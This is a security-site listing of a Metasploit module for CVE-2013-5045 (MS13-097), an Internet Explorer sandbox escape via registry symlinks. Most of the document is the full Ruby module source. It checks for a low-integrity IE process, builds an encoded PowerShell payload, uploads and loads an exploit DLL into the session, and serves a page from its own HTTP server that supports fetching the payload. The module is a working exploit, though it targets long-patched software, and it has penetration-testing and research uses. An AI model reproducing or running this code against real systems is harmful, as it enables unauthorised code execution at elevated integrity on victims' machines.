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MS13-097 Registry Symlink IE Sandbox Escape

MS13-097 Registry Symlink IE Sandbox Escape
Posted Jun 27, 2014
Authored by juan vazquez, James Forshaw | Site metasploit.com

This Metasploit module exploits a vulnerability in Internet Explorer Sandbox which allows to escape the Enhanced Protected Mode and execute code with Medium Integrity. The vulnerability exists in the IESetProtectedModeRegKeyOnly function from the ieframe.dll component, which can be abused to force medium integrity IE to user influenced keys. By using registry symlinks it's possible force IE to add a policy entry in the registry and finally bypass Enhanced Protected Mode.

tags | exploit, registry
advisories | CVE-2013-5045
MD5 | ef7740b999fc84dc0a624768d0f11944

MS13-097 Registry Symlink IE Sandbox Escape

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##
# This module requires Metasploit: http//metasploit.com/download
# Current source: https://github.com/rapid7/metasploit-framework
##

require 'msf/core'
require 'rex'
require 'msf/core/exploit/exe'
require 'msf/core/exploit/powershell'

class Metasploit3 < Msf::Exploit::Local
Rank = GreatRanking

include Msf::Exploit::Powershell
include Msf::Exploit::EXE
include Msf::Exploit::Remote::HttpServer
include Msf::Post::Windows::Priv

def initialize(info={})
super( update_info( info,
'Name' => 'MS13-097 Registry Symlink IE Sandbox Escape',
'Description' => %q{
This module exploits a vulnerability in Internet Explorer Sandbox which allows to
escape the Enhanced Protected Mode and execute code with Medium Integrity. The
vulnerability exists in the IESetProtectedModeRegKeyOnly function from the ieframe.dll
component, which can be abused to force medium integrity IE to user influenced keys.
By using registry symlinks it's possible force IE to add a policy entry in the registry
and finally bypass Enhanced Protected Mode.
},
'License' => MSF_LICENSE,
'Author' =>
[
'James Forshaw', # Vulnerability Discovery and original exploit code
'juan vazquez' # metasploit module
],
'Platform' => [ 'win' ],
'SessionTypes' => [ 'meterpreter' ],
'Stance' => Msf::Exploit::Stance::Aggressive,
'Targets' =>
[
[ 'IE 8 - 11', { } ]
],
'DefaultTarget' => 0,
'DisclosureDate' => "Dec 10 2013",
'References' =>
[
['CVE', '2013-5045'],
['MSB', 'MS13-097'],
['BID', '64115'],
['URL', 'https://github.com/tyranid/IE11SandboxEscapes']
]
))

register_options(
[
OptInt.new('DELAY', [true, 'Time that the HTTP Server will wait for the payload request', 10])
])
end

def exploit
print_status("Running module against #{sysinfo['Computer']}") unless sysinfo.nil?

mod_handle = session.railgun.kernel32.GetModuleHandleA('iexplore.exe')
if mod_handle['return'] == 0
fail_with(Failure::NotVulnerable, "Not running inside an Internet Explorer process")
end

unless get_integrity_level == INTEGRITY_LEVEL_SID[:low]
fail_with(Failure::NotVulnerable, "Not running at Low Integrity")
end

begin
Timeout.timeout(datastore['DELAY']) { super }
rescue Timeout::Error
end

session.railgun.kernel32.SetEnvironmentVariableA("PSH_CMD", nil)
session.railgun.kernel32.SetEnvironmentVariableA("HTML_URL", nil)
end

def primer
cmd = cmd_psh_payload(payload.encoded).gsub('%COMSPEC% /B /C start powershell.exe ','').strip
session.railgun.kernel32.SetEnvironmentVariableA("PSH_CMD", cmd)

html_uri = "#{get_uri}/#{rand_text_alpha(4 + rand(4))}.html"
session.railgun.kernel32.SetEnvironmentVariableA("HTML_URL", html_uri)

temp = get_env('TEMP')

print_status("Loading Exploit Library...")

session.core.load_library(
'LibraryFilePath' => ::File.join(Msf::Config.data_directory, "exploits", "CVE-2013-5045", "CVE-2013-5045.dll"),
'TargetFilePath' => temp + "\\CVE-2013-5045.dll",
'UploadLibrary' => true,
'Extension' => false,
'SaveToDisk' => false
)
end

def on_request_uri(cli, request)
if request.uri =~ /\.html$/
print_status("Sending window close html...")
close_html = <<-eos
<html>
<body>
<script>
window.open('', '_self', '');
window.close();
</script>
</body>
</html>
eos
send_response(cli, close_html, { 'Content-Type' => 'text/html' })
else
send_not_found(cli)
end
end

end

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